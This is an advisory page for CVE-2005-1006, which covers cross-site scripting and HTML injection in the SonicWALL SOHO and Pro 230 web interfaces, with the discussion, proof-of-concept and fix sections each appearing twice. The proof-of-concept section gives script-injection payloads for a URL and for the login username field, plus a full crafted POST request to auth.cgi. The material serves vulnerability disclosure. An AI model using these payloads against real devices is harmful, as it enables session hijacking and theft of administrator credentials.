SonicWALL SOHO Web Interface Multiple Remote Input Validation Vulnerabilities
BID:12984
Info
SonicWALL SOHO Web Interface Multiple Remote Input Validation Vulnerabilities
| Bugtraq ID: | 12984 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-1006 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 04 2005 12:00AM |
| Updated: | Jul 12 2009 11:56AM |
| Credit: | "Oliver Karow" <[email protected]> is credited with the discovery of these issues. Dev Appan reported that SonicWALL Pro is affected by these issues as well. |
| Vulnerable: |
SonicWALL SOHO 5.1.7 .0 SonicWALL PRO 230 6.5 .0.3 |
| Not Vulnerable: | |
Discussion
SonicWALL SOHO Web Interface Multiple Remote Input Validation Vulnerabilities
Multiple remote input validation vulnerabilities affect SonicWALL SOHO. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.
Specifically a cross-site scripting issue and an HTML injection issue affect the vulnerable device.
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks, potentially leading to a compromise of the affected device.
SonicWALL Pro 230 firmware 6.5.0.3 is reported vulnerable to these issues as well.
Multiple remote input validation vulnerabilities affect SonicWALL SOHO. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.
Specifically a cross-site scripting issue and an HTML injection issue affect the vulnerable device.
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks, potentially leading to a compromise of the affected device.
SonicWALL Pro 230 firmware 6.5.0.3 is reported vulnerable to these issues as well.
Exploit / POC
SonicWALL SOHO Web Interface Multiple Remote Input Validation Vulnerabilities
No exploit is required to leverage either of these issues. The following proof of concepts have been made available:
To leverage the cross-site scripting issue:
http://www.example.com/<script>alert("Its not magic... its a sonic")</script>
To leverage the HTML injection issue enter the following into the 'username' field of the login form:
</TD><script>alert("!")</script>
It is also possible to leverage the HTML injection issue by submitting the following POST request:
POST http://192.168.168.168:80/auth.cgi HTTP/1.0
Accept: */*
Referer: http://192.168.168.168/auth.html
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: BadGuy
Host: 192.168.168.168
Content-Length: 160
Pragma: no-cache uName=</TD><script>alert("Its_not_magic..._its_a_sonic")</script>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e741d2d12023ee350a1
No exploit is required to leverage either of these issues. The following proof of concepts have been made available:
To leverage the cross-site scripting issue:
http://www.example.com/<script>alert("Its not magic... its a sonic")</script>
To leverage the HTML injection issue enter the following into the 'username' field of the login form:
</TD><script>alert("!")</script>
It is also possible to leverage the HTML injection issue by submitting the following POST request:
POST http://192.168.168.168:80/auth.cgi HTTP/1.0
Accept: */*
Referer: http://192.168.168.168/auth.html
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: BadGuy
Host: 192.168.168.168
Content-Length: 160
Pragma: no-cache uName=</TD><script>alert("Its_not_magic..._its_a_sonic")</script>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e741d2d12023ee350a1
Solution / Fix
SonicWALL SOHO Web Interface Multiple Remote Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
SonicWALL SOHO Web Interface Multiple Remote Input Validation Vulnerabilities
References:
References:
- ViewPoint Homepage (SonicWALL)
- SonicWALL SOHO/10 - XSS vulnerability ("Oliver Karow"